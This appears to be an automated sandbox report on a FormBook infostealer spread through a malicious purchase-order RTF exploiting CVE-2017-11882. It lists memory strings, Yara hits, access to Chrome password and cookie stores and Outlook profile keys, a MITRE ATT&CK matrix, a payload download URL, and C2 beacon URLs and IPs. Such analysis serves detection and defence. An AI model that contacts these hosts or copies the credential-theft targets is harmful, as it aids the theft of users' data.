Source: op55336.scr, 00000005.00000000.349485404.0000000000DD2000.00000020.00000001.01000000.00000004.sdmp, dfrgui.exe, 00000008.00000002.847167433.0000000000240000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847604345.00000000027FC000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: Progman
Source: op55336.scr, 00000005.00000000.349485404.0000000000DD2000.00000020.00000001.01000000.00000004.sdmp, dfrgui.exe, 00000008.00000002.847167433.0000000000240000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847604345.00000000027FC000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: IsProgmanWindow
Source: op55336.scr, 00000005.00000000.349485404.0000000000DD2000.00000020.00000001.01000000.00000004.sdmp, dfrgui.exe, 00000008.00000002.847167433.0000000000240000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847604345.00000000027FC000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: tUser32FocusedMenuhwndMenuhMenuNonClientSysMenuRawTextRange_ScrollIntoViewRawScrollItemPattern_ScrollIntoViewget_CurrentViewRawMultipleViewPattern_SetCurrentViewget_Rowget_WindowIsKnownBadWindowRawUiaEventAddWindowGetFirstOrLastOwnedWindowGetFocusedWindowRawUiaEventRemoveWindowFindModalWindowIsTopLevelWindowIsProgmanWindowIsTransformPatternWindowIsWindowPatternWindowGetDesktopWindowIsWindowSwitchToThisWindowGetWindowGetModuleFileNameExpt_xdxCZGwDCEsywxZZUZfkyhhxget_LabeledBypt_yInitializeArrayToArrayToCharArrayPropertyArrayToIntArrayConvertToElementArraydyIsExtendedKeyMapVirtualKeyVirtualKeyFromKeyget_AcceleratorKeyget_AccessKeyRegisterHotKeyUnregisterHotKeyget_AssemblyGetExecutingAssemblyRegisterClientSideProviderAssemblyGetAssemblyRegisterProxyAssemblyget_IsReadOnlyRaiseEventInThisClientOnlyIndexOfAnyOnEventObjectDestroyCopyget_NonClientMenuBarProxyFactoryget_NonClientProxyFactoryget_User32FocusedMenuProxyFactoryget_NonClientSysMenuProxyFactoryGetProxyFromEntryDictionaryEntryop_Equalityop_InequalityAccessibilitySystem.Securityget_EmptyIsNullOrEmptyget_IsEmptyget_PropertyRuntimeIdPropertyFrameworkIdPropertyAutomationIdPropertyProcessIdPropertyIsEnabledPropertyIsSelectionRequiredPropertyIsSelectedPropertyContainingGridPropertyIsPasswordPropertyLargeChangePropertySmallChangePropertyIsGridPatternAvailablePropertyIsInvokePatternAvailablePropertyIsTablePatternAvailablePropertyIsTogglePatternAvailablePropertyIsExpandCollapsePatternAvailablePropertyIsRangeValuePatternAvailablePropertyIsValuePatternAvailablePropertyIsDockPatternAvailablePropertyIsScrollPatternAvailablePropertyIsGridItemPatternAvailablePropertyIsTableItemPatternAvailablePropertyIsScrollItemPatternAvailablePropertyIsSelectionItemPatternAvailablePropertyIsTransformPatternAvailablePropertyIsSelectionPatternAvailablePropertyIsTextPatternAvailablePropertyIsMultipleViewPatternAvailablePropertyIsWindowPatternAvailablePropertyVerticallyScrollablePropertyHorizontallyScrollablePropertyIsKeyboardFocusablePropertyNativeWindowHandlePropertyBoundingRectanglePropertyCanSelectMultiplePropertyClassNamePropertyLocalizedControlTypePropertyItemTypePropertyCulturePropertyToggleStatePropertyExpandCollapseStatePropertyWindowVisualStatePropertyWindowInteractionStatePropertyCanRotatePropertyValuePropertyCanMovePropertyVerticalViewSizePropertyHorizontalViewSizePropertyCanMinimizePropertyCanMaximizePropertyCanResizePropertyIsModalPropertyIsRequiredForFormPropertyMinimumPropertyMaximumPropertyColumnSpanPropertyRowSpanPropertyIsOffscreenPropertyColumnPropertyAutomationPropertyOrientationPropertySelectionPropertyDockPositionPropertySelectionContainerPropertyRowOrColumnMajorPropertyHasPropertyColumnHeaderItemsPropertyRowHeaderItemsPropertyColumnHeadersPropertyRowHeadersPropertyHasKeyboardFocusPropertyItemStatusPropertySupportedViewsPropertyVerticalScrollPercentPropertyHorizontalScrollPercentPropertyIsControlElementPropertyIsContentElementPropertyClickablePointPropertyColumnCountPropertyRowCountPropertyIsTopmostPropert
Source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000000.392233871.0000000000860000.00000002.00000001.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000002.847287088.0000000000860000.00000002.00000001.00040000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000000.427816672.0000000000890000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Users\user\AppData\Roaming\op55336.scr	Queries volume information: C:\Users\user\AppData\Roaming\op55336.scr VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\u62ln.zip VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Code function: 8_2_61E936A0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

8_2_61E936A0

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 6.2.op55336.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.op55336.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 6.2.op55336.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.op55336.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.479625649.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847226726.00000000003A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847107222.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.411272581.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.847699564.0000000004DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.847192255.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.412838071.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.416629798.0000000001B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.847416646.0000000003360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E0337A sqlite3_value_frombind,	8_2_61E0337A
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E03463 sqlite3_bind_parameter_name,	8_2_61E03463
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E03451 sqlite3_bind_parameter_count,	8_2_61E03451
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E14411 sqlite3_bind_parameter_index,	8_2_61E14411
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E257EA sqlite3_bind_double,sqlite3_mutex_leave,	8_2_61E257EA
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E257C3 sqlite3_bind_text16,	8_2_61E257C3
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E25756 sqlite3_bind_text64,	8_2_61E25756
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E2572F sqlite3_bind_text,	8_2_61E2572F
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E1073D sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,	8_2_61E1073D
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E256E8 sqlite3_bind_blob64,	8_2_61E256E8
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E256C1 sqlite3_mutex_leave,sqlite3_bind_blob,	8_2_61E256C1
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E259F3 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,	8_2_61E259F3
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E25986 sqlite3_bind_zeroblob,sqlite3_mutex_leave,	8_2_61E25986
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E25909 sqlite3_bind_pointer,sqlite3_mutex_leave,	8_2_61E25909
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E258D8 sqlite3_bind_null,sqlite3_mutex_leave,	8_2_61E258D8
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E258B2 sqlite3_bind_int,sqlite3_bind_int64,	8_2_61E258B2
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E1088D sqlite3_mutex_enter,sqlite3_mutex_leave,sqlite3_transfer_bindings,	8_2_61E1088D
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E25863 sqlite3_bind_int64,sqlite3_mutex_leave,	8_2_61E25863
Source: C:\Windows\SysWOW64\dfrgui.exe	Code function: 8_2_61E25ADA sqlite3_bind_zeroblob64,sqlite3_mutex_enter,sqlite3_bind_zeroblob,sqlite3_mutex_leave,	8_2_61E25ADA

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	33 Exploitation for Client Execution	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	312 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	16 System Information Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	31 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Install Root Certificate	LSA Secrets	21 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	312 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MOQ010524Purchase order.doc	42%	Virustotal		Browse
MOQ010524Purchase order.doc	37%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\op55336.scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\sqlite3.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.xn--matfrmn-jxa4m.se	0%	Virustotal	Browse
jnkinteractive.co.kr	0%	Virustotal	Browse
exclaimer342200213.net	1%	Virustotal	Browse
www.kinkynerdspro.blog	4%	Virustotal	Browse
www.terelprime.com	4%	Virustotal	Browse
universalmovies.top	24%	Virustotal	Browse
aceautocorp.com	1%	Virustotal	Browse
www.touchclean.top	1%	Virustotal	Browse
mrart.co.kr	0%	Virustotal	Browse
www.chrisdomond.com	1%	Virustotal	Browse
www.besthomeincome24.com	0%	Virustotal	Browse
www.exclaimer342200213.net	3%	Virustotal	Browse
www.mrart.co.kr	0%	Virustotal	Browse
www.ibistradingco.com	1%	Virustotal	Browse
www.aceautocorp.com	1%	Virustotal	Browse
www.primeplay88.org	4%	Virustotal	Browse
www.jnkinteractive.co.kr	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.riveramayahousing.com/ufuh/	0%	Avira URL Cloud	safe
http://www.riveramayahousing.com	0%	Avira URL Cloud	safe
http://www.kinkynerdspro.blog/ufuh/	0%	Avira URL Cloud	safe
http://www.touchclean.top/ufuh/?pl=A8fQf/hISgzwL3oVRnqHbZBV/plXIsny1TYZTQxVDrtx1SbFVUn9YIU/QNlk/lJ+xLSyvfTMvWvwfwkJSN9/6ikOA0zWpJ/i6bk9+sgLcEv6BHfAlNSdkle4dEVn&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
http://www.riveramayahousing.com/ufuh/?pl=BGoM8L/qyzApLAJaWwxXSF4Q93O5MlPc94ZXocaCy2sUMxOmUp3yiivF6ezDdXcwaqjwM/LWkQHX7JcCzmOdeG0afWN38JyHw8R/BztNg4nUSBFA8ZqxTffzx161&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
https://universalmovies.top/opp.scr	100%	Avira URL Cloud	phishing
http://www.jnkinteractive.co.kr/ufuh/	0%	Avira URL Cloud	safe
http://www.mrart.co.kr/ufuh/	0%	Avira URL Cloud	safe
https://universalmovies.top/opp.scrhhC:	100%	Avira URL Cloud	phishing
https://universalmovies.top/opp.scrj	100%	Avira URL Cloud	phishing
http://www.jnkinteractive.co.kr/ufuh/	0%	Virustotal		Browse
http://www.ibistradingco.com/ufuh/	0%	Avira URL Cloud	safe
http://www.mrart.co.kr/ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR+z/FEUJE9molBo2WPCHkLm6APtf7MOscmEgy++mrhWyRAZYaHU6QWLXqtmVhlHsy7bZNd62MlyuoEIWFEUa6hs&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
http://www.searchvity.com/?dn=	0%	Avira URL Cloud	safe
http://www.terelprime.com/ufuh/?pl=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&5h1t=6H6PKFvXjtI4u8k	100%	Avira URL Cloud	malware
http://www.xn--matfrmn-jxa4m.se/ufuh/	0%	Avira URL Cloud	safe
http://www.kinkynerdspro.blog/ufuh/	2%	Virustotal		Browse
http://www.mrart.co.kr/ufuh/	1%	Virustotal		Browse
http://mrart.co.kr/ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR	0%	Avira URL Cloud	safe
http://www.ibistradingco.com/ufuh/	2%	Virustotal		Browse
http://www.searchvity.com/?dn=	3%	Virustotal		Browse
http://www.primeplay88.org/ufuh/	0%	Avira URL Cloud	safe
http://www.aceautocorp.com/ufuh/	0%	Avira URL Cloud	safe
http://aceautocorp.com/ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto	0%	Avira URL Cloud	safe
http://www.primeplay88.org/ufuh/?pl=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
https://www.ibistradingco.com/ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIW	0%	Avira URL Cloud	safe
http://www.jnkinteractive.co.kr/ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh4O9IVNf1Nsq6o0EG0WMSPhA6OEupR23w6ucrxxNSq0Kjb577lAvo9ttp2iO4V&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
http://www.primeplay88.org/ufuh/	4%	Virustotal		Browse
http://www.kinkynerdspro.blog/ufuh/?pl=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
http://www.ibistradingco.com/ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIWVgo7b/xQLPX/O/pu59XEvJBdpQtuyZPu55k1rSFoeWQFZxG8CIiSfRAJf8aFXer&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
http://www.aceautocorp.com/ufuh/	1%	Virustotal		Browse
https://universalmovies.top/	100%	Avira URL Cloud	phishing
http://www.touchclean.top/ufuh/	0%	Avira URL Cloud	safe
http://www.searchvity.com/	0%	Avira URL Cloud	safe
http://jnkinteractive.co.kr/ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh	0%	Avira URL Cloud	safe
http://www.aceautocorp.com/ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
http://www.xn--matfrmn-jxa4m.se/ufuh/?pl=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL&5h1t=6H6PKFvXjtI4u8k	0%	Avira URL Cloud	safe
http://www.xn--matfrmn-jxa4m.se/ufuh/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.riveramayahousing.com	208.91.197.13	true	true		unknown
www.xn--matfrmn-jxa4m.se	194.9.94.86	true	true	0%, Virustotal, Browse	unknown
jnkinteractive.co.kr	183.111.183.31	true	true	0%, Virustotal, Browse	unknown
exclaimer342200213.net	84.33.215.91	true	false	1%, Virustotal, Browse	unknown
parkingpage.namecheap.com	91.195.240.19	true	false		high
www.kinkynerdspro.blog	94.23.162.163	true	true	4%, Virustotal, Browse	unknown
www.terelprime.com	66.96.161.166	true	true	4%, Virustotal, Browse	unknown
www.ibistradingco.com.cdn.hstgr.net	154.41.250.58	true	true		unknown
universalmovies.top	104.21.74.191	true	true	24%, Virustotal, Browse	unknown
www.touchclean.top	67.223.117.189	true	true	1%, Virustotal, Browse	unknown
mrart.co.kr	183.111.183.31	true	true	0%, Virustotal, Browse	unknown
aceautocorp.com	198.12.241.35	true	true	1%, Virustotal, Browse	unknown
www.sqlite.org	45.33.6.223	true	false		high
